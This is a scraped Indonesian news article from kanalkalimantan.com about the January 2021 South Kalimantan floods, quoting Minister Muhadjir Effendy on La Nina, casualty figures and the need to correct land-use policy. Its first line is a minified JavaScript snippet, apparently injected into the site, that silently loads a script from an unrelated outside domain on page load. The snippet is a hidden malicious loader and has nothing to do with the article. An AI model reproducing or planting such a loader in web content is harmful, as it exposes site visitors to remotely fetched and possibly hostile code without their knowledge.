(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Menko PMK Soal Banjir Kalsel: Perlu Koreksi Masalah Penataan Lingkungan


KANALKALIMANTAN.COM, BANJARMASIN – Menteri Koordinator Pembangunan Manusia dan Kebudayaan (Menko PMK) Muhadjir Effendy mengatakan, banjir besar yang terjadi di Kalimantan Selatan (Kalsel) merupakan dampak dari fenomena alam La Nina.

Fenomena anomali cuaca yang kerap menyebabkan bencana hidrometeorologi itu lumrah terjadi di Indonesia. Namun, Menko PMK menyebut, Kalimantan Selatan termasuk wilayah yang tidak diprediksi akan mengalami dampak La Nina.

Hal itu disampaikannya di posko pengungsian banjir Balai Besar Pendidikan dan Pelatihan Kesejahteraan Sosial (BBPPKS) Banjarbaru, Provinsi Kalsel, Kamis (21/1/2021).

Fasilitas umum jalan terendam di Kota Banjarmasin, banjir dipastikan merusak infrastruktur di sejumlah daerah di Kalsel. Foto: putra

 

“Seingat saya Kalimantan Selatan adalah termasuk wilayah yang tidak dikira akan menghadapi dampak badai La Nina ini. Tetapi namanya kita boleh meramal, boleh berikhtiar, tapi pada akhirnya Tuhanlah yang Maha Penentu,” ujar Muhadjir.

Banjir besar yang menggenangi 11 kabupaten kota di Kalsel saat ini, merendam sedikitnya 87.765 rumah warga. Ketinggian rendaman air mencapai 2 meter dan menyebabkan 74.863 orang mengungsi, terdapat pula korban meninggal sebanyak 21 orang.

Sarana prasarana juga banyak yang rusak diakibatkan banjir, seperti jembatan putus, tanggul jebol, jalan nasional trans Kalimantan putus, dan banyak pula sekolah dan rumah ibadah yang rusak.

 

Menko PMK Muhadjir Effendy saat berada Balai Besar Pendidikan dan Pelatihan Kesejahteraan Sosial (BBPPKS) Banjarbaru, Provinsi Kalsel, Kamis (21/1/2021). foto: humpro banjarbaru for kanalkalimantan

Muhadjir mengatakan, adanya bencana banjir ini merupakan pertanda yang menunjukkan bahwa ketahanan lingkungan di Kalimantan Selatan masih lemah.

Menurut dia, apabila ketahanan lingkungan telah kuat, fenomena La Nina tidak akan menyebabkan bencana yang parah.

Karena itu, lanjut Muhadjir, khususnya warga Kalsel kemudian para penentu kebijakan harus betul-betul melakukan semacam koreksi yang mendasar terhadap masalah penataan lingkungan, termasuk tata guna tanah. (kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

1 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

5 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

5 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

5 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

7 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

8 jam ago

This website uses cookies.